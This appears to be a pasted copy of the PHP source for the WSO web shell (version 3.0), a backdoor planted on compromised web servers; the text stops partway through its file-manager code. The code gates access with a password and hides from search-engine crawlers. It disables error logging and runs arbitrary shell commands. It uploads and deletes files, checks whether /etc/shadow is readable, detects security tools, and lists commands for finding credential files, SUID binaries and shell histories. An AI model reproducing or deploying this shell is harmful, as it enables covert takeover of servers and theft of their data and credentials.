· 10 years ago · Mar 22, 2016, 01:33 AM
1<script language="php">
2
3$auth_pass = "050a61e9e5153dfc9f08d22a63676cbf"; //tijanisdn
4function wsoLogin() {
5 die("<pre align=center><form method=post>AhmdTijani(Control Panel==>)<input type=password name=pass><input type=submit value='>>'></form></pre>");
6}
7
8function WSOsetcookie($k, $v) {
9 $_COOKIE[$k] = $v;
10 setcookie($k, $v);
11}
12
13if(!empty($auth_pass)) {
14 if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
15 WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
16
17 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
18 wsoLogin();
19}
20
21
22echo "
23 <style type='text/css'>
24 input[type=submit], input[type=button], input[type=reset]{
25 text-align:center;
26 background:url(http://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666;
27 border:1px solid #4D4D4D;
28 color:#CCCCCC;
29 border-top-color:#565656;
30 padding:4px 6px;
31 margin:4px 5px;
32 height:16px;
33 -moz-box-shadow:0 0 1px black;
34 -webkit-box-shadow:0 0 1px black;
35 box-shadow:0 0 1px black;
36 text-shadow:0 1px black;
37 -moz-border-radius:4px;
38 -webkit-border-radius:4px;
39 -khtml-border-radius:4px;
40 border-radius:4px;
41 height:23px;
42}
43
44input[type=submit]:hover , input[type=button]:hover, input[type=reset]:hover{
45 background-position:center top;
46 text-decoration:none;
47}
48input[type=text], input[type=password]{
49 background:urlhttp://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666;
50 border:1px solid #4D4D4D;
51 color:#CCCCCC;
52 border-top-color:#565656;
53 -moz-box-shadow:0 0 1px black;
54 -webkit-box-shadow:0 0 1px black;
55 box-shadow:0 0 1px black;
56 -moz-border-radius:4px;
57 -webkit-border-radius:4px;
58 -khtml-border-radius:4px;
59 border-radius:4px;
60 height:18px;
61 margin-left: 5px;
62}
63input , textarea , button , body , caption , table ,area , option {
64 outline:none;
65 transition: all 0.20s ease-in-out;
66 -webkit-transition: all 0.25s ease-in-out;
67 -moz-transition: all 0.25s ease-in-out;
68 border-radius:3px;
69 -webkit-border-radius:3px;
70 -moz-border-radius:3px;
71 border:1px solid rgba(0,0,0, 0.2);
72 /* font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
73}
74input , textarea {
75 background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
76}
77
78
79input:focus, textarea:focus ,button:active , body:focus , caption:focus , table:focus ,area:focus ,option:focus {
80 box-shadow: 0 0 5px rgba(0, 0, 255, 1);
81 -webkit-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
82 -moz-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
83
84 border: 1px solid #CCCC00;
85
86 background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
87 overflow: auto;
88/* font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
89}
90
91body{
92/* font-family : Verdana; */
93 color : #f9f6f1;
94 font-size : 0.7em;
95 background: url(http://i44.tinypic.com/i56tc9.jpg) no-repeat center top #252525;
96}
97input , textarea {
98 outline:none;
99 transition: all 0.20s ease-in-out;
100 -webkit-transition: all 0.25s ease-in-out;
101 -moz-transition: all 0.25s ease-in-out;
102 border-radius:3px;
103 -webkit-border-radius:3px;
104 -moz-border-radius:3px;
105 border:1px solid rgba(0,0,0, 0.2);
106}
107input:focus, textarea:focus {
108 outline: 0;
109 border-color: rgba(82, 168, 236, 0.8);
110 -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
111 -moz-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
112 box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
113
114
115 background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
116 overflow: auto;
117
118}
119
120
121 </style>
122 ";
123$_SESSION[$_SERVER['HTTP_HOST']] = true;
124$color = "#df5"; //Colour
125$default_action = "FilesMan";
126$default_charset = "Windows-1251";
127if( !empty($_SERVER['HTTP_USER_AGENT']) ) {
128 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
129 foreach($userAgents as $agent)
130 if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) {
131 header('HTTP/1.0 404 Not Found');
132 exit;
133 }
134}
135@session_start();
136@error_reporting(0);
137@ini_set('error_log',NULL);
138@ini_set('log_errors',0);
139@ini_set('max_execution_time',0);
140@set_time_limit(0);
141@set_magic_quotes_runtime(0);
142@define('VERSION', '3.0');
143if( get_magic_quotes_gpc() ) {
144 function WSOstripslashes($array) {
145 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
146 }
147 $_POST = WSOstripslashes($_POST);
148}
149
150if( strtolower( substr(PHP_OS,0,3) ) == "win" )
151 $os = 'win';
152else
153 $os = 'nix';
154$safe_mode = @ini_get('safe_mode');
155$disable_functions = @ini_get('disable_functions');
156$home_cwd = @getcwd();
157if( isset( $_POST['c'] ) )
158 @chdir($_POST['c']);
159$cwd = @getcwd();
160if( $os == 'win') {
161 $home_cwd = str_replace("\\", "/", $home_cwd);
162 $cwd = str_replace("\\", "/", $cwd);
163}
164if( $cwd[strlen($cwd)-1] != '/' )
165 $cwd .= '/';
166
167if($os == 'win')
168 $aliases = array(
169 "List Directory" => "dir",
170 "Find index.php in current dir" => "dir /s /w /b index.php",
171 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
172 "Show active connections" => "netstat -an",
173 "Show running services" => "net start",
174 "User accounts" => "net user",
175 "Show computers" => "net view",
176 "ARP Table" => "arp -a",
177 "IP Configuration" => "ipconfig /all"
178 );
179else
180 $aliases = array(
181 "List dir" => "ls -lha",
182 "list file attributes on a Linux second extended file system" => "lsattr -va",
183 "show opened ports" => "netstat -an | grep -i listen",
184 "Find" => "",
185 "find all suid files" => "find / -type f -perm -04000 -ls",
186 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
187 "find all sgid files" => "find / -type f -perm -02000 -ls",
188 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
189 "find config.inc.php files" => "find / -type f -name config.inc.php",
190 "find config* files" => "find / -type f -name \"config*\"",
191 "find config* files in current dir" => "find . -type f -name \"config*\"",
192 "find all writable folders and files" => "find / -perm -2 -ls",
193 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
194 "find all service.pwd files" => "find / -type f -name service.pwd",
195 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
196 "find all .htpasswd files" => "find / -type f -name .htpasswd",
197 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
198 "find all .bash_history files" => "find / -type f -name .bash_history",
199 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
200 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
201 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
202 "Locate" => "",
203 "locate httpd.conf files" => "locate httpd.conf",
204 "locate vhosts.conf files" => "locate vhosts.conf",
205 "locate proftpd.conf files" => "locate proftpd.conf",
206 "locate psybnc.conf files" => "locate psybnc.conf",
207 "locate my.conf files" => "locate my.conf",
208 "locate admin.php files" =>"locate admin.php",
209 "locate cfg.php files" => "locate cfg.php",
210 "locate conf.php files" => "locate conf.php",
211 "locate config.dat files" => "locate config.dat",
212 "locate config.php files" => "locate config.php",
213 "locate config.inc files" => "locate config.inc",
214 "locate config.inc.php" => "locate config.inc.php",
215 "locate config.default.php files" => "locate config.default.php",
216 "locate config* files " => "locate config",
217 "locate .conf files"=>"locate '.conf'",
218 "locate .pwd files" => "locate '.pwd'",
219 "locate .sql files" => "locate '.sql'",
220 "locate .htpasswd files" => "locate '.htpasswd'",
221 "locate .bash_history files" => "locate '.bash_history'",
222 "locate .mysql_history files" => "locate '.mysql_history'",
223 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
224 "locate backup files" => "locate backup",
225 "locate dump files" => "locate dump",
226 "locate priv files" => "locate priv"
227 );
228
229function wsoHeader() {
230 if(empty($_POST['charset']))
231 $_POST['charset'] = $GLOBALS['default_charset'];
232 global $color;
233 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . "- WSO [Secret-SD] " . VERSION ."</title>
234<style>
235body{background-color:#444;color:#e1e1e1;}
236body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
237table.info{ color:#fff;background-color:#222; }
238span,h1,a{ color: $color !important; }
239span{ font-weight: bolder; }
240h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
241div.content{ padding: 5px;margin-left:5px;background-color:#333; }
242a{ text-decoration:none; }
243a:hover{ text-decoration:underline; }
244.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
245.bigarea{ width:100%;height:250px; }
246input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
247form{ margin:0px; }
248#toolsTbl{ text-align:center; }
249.toolsInp{ width: 300px }
250.main th{text-align:left;background-color:#5e5e5e;}
251.main tr:hover{background-color:#5e5e5e}
252.l1{background-color:#444}
253pre{font-family:Courier,Monospace;}
254</style>
255<script>
256 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
257 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
258 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
259 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':addslashes(htmlspecialchars($_POST['p1']))) ."';
260 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p2']))) ."';
261 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p3']))) ."';
262 function set(a,c,p1,p2,p3,charset) {
263 if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
264 if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
265 if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
266 if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
267 if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
268 if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
269 }
270 function g(a,c,p1,p2,p3,charset) {
271 set(a,c,p1,p2,p3,charset);
272 document.mf.submit();
273 }
274 function a(a,c,p1,p2,p3,charset) {
275 set(a,c,p1,p2,p3,charset);
276 var params = 'ajax=true';
277 for(i=0;i<document.mf.elements.length;i++)
278 params += '&'+document.mf.elements[i].name+'='+encodeURIComponent(document.mf.elements[i].value);
279 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
280 }
281 function sr(url, params) {
282 if (window.XMLHttpRequest)
283 req = new XMLHttpRequest();
284 else if (window.ActiveXObject)
285 req = new ActiveXObject('Microsoft.XMLHTTP');
286 if (req) {
287 req.onreadystatechange = processReqChange;
288 req.open('POST', url, true);
289 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
290 req.send(params);
291 }
292 }
293 function processReqChange() {
294 if( (req.readyState == 4) )
295 if(req.status == 200) {
296 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
297 var arr=reg.exec(req.responseText);
298 eval(arr[2].substr(0, arr[1]));
299 } else alert('Request error!');
300 }
301</script>
302<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
303<form method=post name=mf style='display:none;'>
304<input type=hidden name=a>
305<input type=hidden name=c>
306<input type=hidden name=p1>
307<input type=hidden name=p2>
308<input type=hidden name=p3>
309<input type=hidden name=charset>
310</form>";
311 $freeSpace = @diskfreespace($GLOBALS['cwd']);
312 $totalSpace = @disk_total_space($GLOBALS['cwd']);
313 $totalSpace = $totalSpace?$totalSpace:1;
314 $release = @php_uname('r');
315 $kernel = @php_uname('s');
316 $exdblink = 'http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=';
317 if( strpos('Linux', $kernel) !== false )
318 $exdblink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
319 else
320 $exdblink .= urlencode( $kernel . ' ' . substr($release,0,3) );
321 if(!function_exists('posix_getegid')) {
322 $user = @get_current_user();
323 $uid = @getmyuid();
324 $gid = @getmygid();
325 $group = "?";
326 } else {
327 $uid = @posix_getpwuid(@posix_geteuid());
328 $gid = @posix_getgrgid(@posix_getegid());
329 $user = $uid['name'];
330 $uid = $uid['uid'];
331 $group = $gid['name'];
332 $gid = $gid['gid'];
333 }
334 $cwd_links = '';
335 $path = explode("/", $GLOBALS['cwd']);
336 $n=count($path);
337 for($i=0;$i<$n-1;$i++) {
338 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
339 for($j=0;$j<=$i;$j++)
340 $cwd_links .= $path[$j].'/';
341 $cwd_links .= "\")'>".$path[$i]."/</a>";
342 }
343 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
344 $opt_charsets = '';
345 foreach($charsets as $item)
346 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
347 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Mass'=>'Mass','Domains'=>'Domain','Sql'=>'Sql','Safe mode'=>'SafeMode','String tools'=>'StringTools','Network'=>'Network');
348 $m['Self remove'] = 'SelfRemove';
349 $menu = '';
350 foreach($m as $k => $v)
351 $menu .= '<th width="'.(int)(100/count($m)).'%">[<a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a>]</th>';
352 $drives = "";
353 if ($GLOBALS['os'] == 'win') {
354 foreach( range('c','z') as $drive )
355 if (is_dir($drive.':\\'))
356 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
357 }
358 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
359 '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$exdblink.'" target=_blank>[Exploit-DB]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.wsoViewSize($totalSpace).' <span>Free:</span> '.wsoViewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.wsoPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
360 '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"].'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'<br><a href="http://www.bing.com/search?q=ip:' . @$_SERVER["SERVER_ADDR"] . '" target=_blank>[ Bing ]</a> | <a href="http://www.zone-h.org/archive/ip=' . @$_SERVER["SERVER_ADDR"] . '" target=_blank>[ Zone-H ]</a><br></nobr></td></tr></table>'.
361 '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
362}
363
364function wsoFooter() {
365 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
366 echo "
367</div>
368<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
369 <tr>
370 <td><form onsubmit='g(null,this.c.value);return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
371 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
372 </tr><tr>
373 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span><br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form>$is_writable</td>
374 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form>$is_writable</td>
375 </tr><tr>
376 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
377 <td><form method='post' ENCTYPE='multipart/form-data'>
378 <input type=hidden name=a value='FilesMAn'>
379 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
380 <input type=hidden name=p1 value='uploadFile'>
381 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
382 <span>Upload file:</span><br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form>$is_writable</td>
383 </tr></table></div></body></html>";
384}
385
386if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
387if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
388function wsoEx($in) {
389 $out = '';
390 if(function_exists('exec')) {
391 @exec($in,$out);
392 $out = @join("\n",$out);
393 }elseif(function_exists('passthru')) {
394 ob_start();
395 @passthru($in);
396 $out = ob_get_clean();
397 }elseif(function_exists('system')) {
398 ob_start();
399 @system($in);
400 $out = ob_get_clean();
401 }elseif(function_exists('shell_exec')) {
402 $out = shell_exec($in);
403 }elseif(is_resource($f = @popen($in,"r"))) {
404 $out = "";
405 while(!@feof($f))
406 $out .= fread($f,1024);
407 pclose($f);
408 }
409 return $out;
410}
411function wsoViewSize($s) {
412 if($s >= 1073741824)
413 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
414 elseif($s >= 1048576)
415 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
416 elseif($s >= 1024)
417 return sprintf('%1.2f', $s / 1024 ) . ' KB';
418 else
419 return $s . ' B';
420}
421
422function wsoPerms($p) {
423 if (($p & 0xC000) == 0xC000)$i = 's';
424 elseif (($p & 0xA000) == 0xA000)$i = 'l';
425 elseif (($p & 0x8000) == 0x8000)$i = '-';
426 elseif (($p & 0x6000) == 0x6000)$i = 'b';
427 elseif (($p & 0x4000) == 0x4000)$i = 'd';
428 elseif (($p & 0x2000) == 0x2000)$i = 'c';
429 elseif (($p & 0x1000) == 0x1000)$i = 'p';
430 else $i = 'u';
431 $i .= (($p & 0x0100) ? 'r' : '-');
432 $i .= (($p & 0x0080) ? 'w' : '-');
433 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
434 $i .= (($p & 0x0020) ? 'r' : '-');
435 $i .= (($p & 0x0010) ? 'w' : '-');
436 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
437 $i .= (($p & 0x0004) ? 'r' : '-');
438 $i .= (($p & 0x0002) ? 'w' : '-');
439 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
440 return $i;
441}
442function wsoPermsColor($f) {
443 if (!@is_readable($f))
444 return '<font color=#FF0000>'.wsoPerms(@fileperms($f)).'</font>';
445 elseif (!@is_writable($f))
446 return '<font color=white>'.wsoPerms(@fileperms($f)).'</font>';
447 else
448 return '<font color=#00BB00>'.wsoPerms(@fileperms($f)).'</font>';
449}
450if(!function_exists("scandir")) {
451 function scandir($dir) {
452 $dh = opendir($dir);
453 while (false !== ($filename = readdir($dh))) {
454 $files[] = $filename;
455 }
456 return $files;
457 }
458}
459function wsoWhich($p) {
460 $path = wsoEx('which '.$p);
461 if(!empty($path))
462 return $path;
463 return false;
464}
465function actionSecInfo() {
466 wsoHeader();
467 echo '<h1>Server security information</h1><div class=content>';
468 function wsoSecParam($n, $v) {
469 $v = trim($v);
470 if($v) {
471 echo '<span>'.$n.': </span>';
472 if(strpos($v, "\n") === false)
473 echo $v.'<br>';
474 else
475 echo '<pre class=ml1>'.$v.'</pre>';
476 }
477 }
478
479 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
480 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
481 wsoSecParam('Open base dir', @ini_get('open_basedir'));
482 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
483 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
484 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
485 $temp=array();
486 if(function_exists('mysql_get_client_info'))
487 $temp[] = "MySql (".mysql_get_client_info().")";
488 if(function_exists('mssql_connect'))
489 $temp[] = "MSSQL";
490 if(function_exists('pg_connect'))
491 $temp[] = "PostgreSQL";
492 if(function_exists('oci_connect'))
493 $temp[] = "Oracle";
494 wsoSecParam('Supported databases', implode(', ', $temp));
495 echo '<br>';
496
497 if( $GLOBALS['os'] == 'nix' ) {
498 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
499 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
500 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
501 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
502 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
503 wsoSecParam('OS version', @file_get_contents('/proc/version'));
504 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
505 if(!$GLOBALS['safe_mode']) {
506 echo '<br>';
507 $temp=array();
508 foreach ($userful as $item)
509 if(wsoWhich($item)){$temp[]=$item;}
510 wsoSecParam('Userful', implode(', ',$temp));
511 $temp=array();
512 foreach ($danger as $item)
513 if(wsoWhich($item)){$temp[]=$item;}
514 wsoSecParam('Danger', implode(', ',$temp));
515 $temp=array();
516 foreach ($downloaders as $item)
517 if(wsoWhich($item)){$temp[]=$item;}
518 wsoSecParam('Downloaders', implode(', ',$temp));
519 echo '<br/>';
520 wsoSecParam('HDD space', wsoEx('df -h'));
521 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
522 }
523 } else {
524 wsoSecParam('OS Version',wsoEx('ver'));
525 wsoSecParam('Account Settings',wsoEx('net accounts'));
526 wsoSecParam('User Accounts',wsoEx('net user'));
527 }
528 echo '</div>';
529 wsoFooter();
530}
531
532
533
534function actionFilesMan() {
535 wsoHeader();
536 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
537 if(!empty($_POST['p1'])) {
538 switch($_POST['p1']) {
539 case 'uploadFile':
540 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
541 echo "Shiiiit , Can't upload file!";
542 break;
543 case 'mkdir':
544 if(!@mkdir($_POST['p2']))
545 echo "Can't create new dir";
546 break;
547 case 'delete':
548 function deleteDir($path) {
549 $path = (substr($path,-1)=='/') ? $path:$path.'/';
550 $dh = opendir($path);
551 while ( ($item = readdir($dh) ) !== false) {
552 $item = $path.$item;
553 if ( (basename($item) == "..") || (basename($item) == ".") )
554 continue;
555 $type = filetype($item);
556 if ($type == "dir")
557 deleteDir($item);
558 else
559 @unlink($item);
560 }
561 closedir($dh);
562 rmdir($path);
563 }
564 if(is_array(@$_POST['f']))
565 foreach($_POST['f'] as $f) {
566 $f = urldecode($f);
567 if(is_dir($f))
568 deleteDir($f);
569 else
570 @unlink($f);
571 }
572 break;
573 case 'paste':
574 if($_SESSION['act'] == 'copy') {
575 function copy_paste($c,$s,$d){
576 if(is_dir($c.$s)){
577 mkdir($d.$s);
578 $h = @opendir($c.$s);
579 while (($f = @readdir($h)) !== false)
580 if (($f != ".") and ($f != "..")) {
581 copy_paste($c.$s.'/',$f, $d.$s.'/');
582 }
583 } elseif(is_file($c.$s)) {
584 @copy($c.$s, $d.$s);
585 }
586 }
587 foreach($_SESSION['f'] as $f)
588 copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
589 } elseif($_SESSION['act'] == 'move') {
590 function move_paste($c,$s,$d){
591 if(is_dir($c.$s)){
592 mkdir($d.$s);
593 $h = @opendir($c.$s);
594 while (($f = @readdir($h)) !== false)
595 if (($f != ".") and ($f != "..")) {
596 copy_paste($c.$s.'/',$f, $d.$s.'/');
597 }
598 } elseif(@is_file($c.$s)) {
599 @copy($c.$s, $d.$s);
600 }
601 }
602 foreach($_SESSION['f'] as $f)
603 @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
604 } elseif($_SESSION['act'] == 'zip') {
605 if(class_exists('ZipArchive')) {
606 $zip = new ZipArchive();
607 if ($zip->open('wso_'.date("Ymd_His").'.zip', (int)@eval('return ZIPARCHIVE::CREATE;'))) {
608 chdir($_SESSION['c']);
609 foreach($_SESSION['f'] as $f) {
610 if(@is_file($_SESSION['c'].$f))
611 $zip->addFile($_SESSION['c'].$f, $f);
612 elseif(@is_dir($_SESSION['c'].$f)) {
613 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
614 foreach ($iterator as $key=>$value) {
615 $zip->addFile(realpath($key), $key);
616 }
617 }
618 }
619 chdir($GLOBALS['cwd']);
620 $zip->close();
621 }
622 }
623 } elseif($_SESSION['act'] == 'unzip') {
624 if(class_exists('ZipArchive')) {
625 $zip = new ZipArchive();
626 foreach($_SESSION['f'] as $f) {
627 if($zip->open($_SESSION['c'].$f)) {
628 $zip->extractTo($GLOBALS['cwd']);
629 $zip->close();
630 }
631 }
632 }
633 }
634 unset($_SESSION['f']);
635 break;
636 default:
637 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')||($_POST['p1'] == 'zip')||($_POST['p1'] == 'unzip')) ) {
638 $_SESSION['act'] = @$_POST['p1'];
639 $_SESSION['f'] = @$_POST['f'];
640 foreach($_SESSION['f'] as $k => $f)
641 $_SESSION['f'][$k] = urldecode($f);
642 $_SESSION['c'] = @$_POST['c'];
643 }
644 break;
645 }
646 }
647 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
648 if($dirContent === false) { echo 'Can\'t Fuck yeah , open this folder!';wsoFooter(); return; }
649 global $sort;
650 $sort = array('name', 1);
651 if(!empty($_POST['p1'])) {
652 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
653 $sort = array($match[1], (int)$match[2]);
654 }
655echo "<script>
656 function sa() {
657 for(i=0;i<document.files.elements.length;i++)
658 if(document.files.elements[i].type == 'checkbox')
659 document.files.elements[i].checked = document.files.elements[0].checked;
660 }
661</script>
662<table width='100%' class='main' cellspacing='0' cellpadding='2'>
663<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
664 $dirs = $files = array();
665 $n = count($dirContent);
666 for($i=0;$i<$n;$i++) {
667 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
668 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
669 $tmp = array('name' => $dirContent[$i],
670 'path' => $GLOBALS['cwd'].$dirContent[$i],
671 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
672 'perms' => wsoPermsColor($GLOBALS['cwd'].$dirContent[$i]),
673 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
674 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
675 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
676 );
677 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
678 $files[] = array_merge($tmp, array('type' => 'file'));
679 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
680 $dirs[] = array_merge($tmp, array('type' => 'link'));
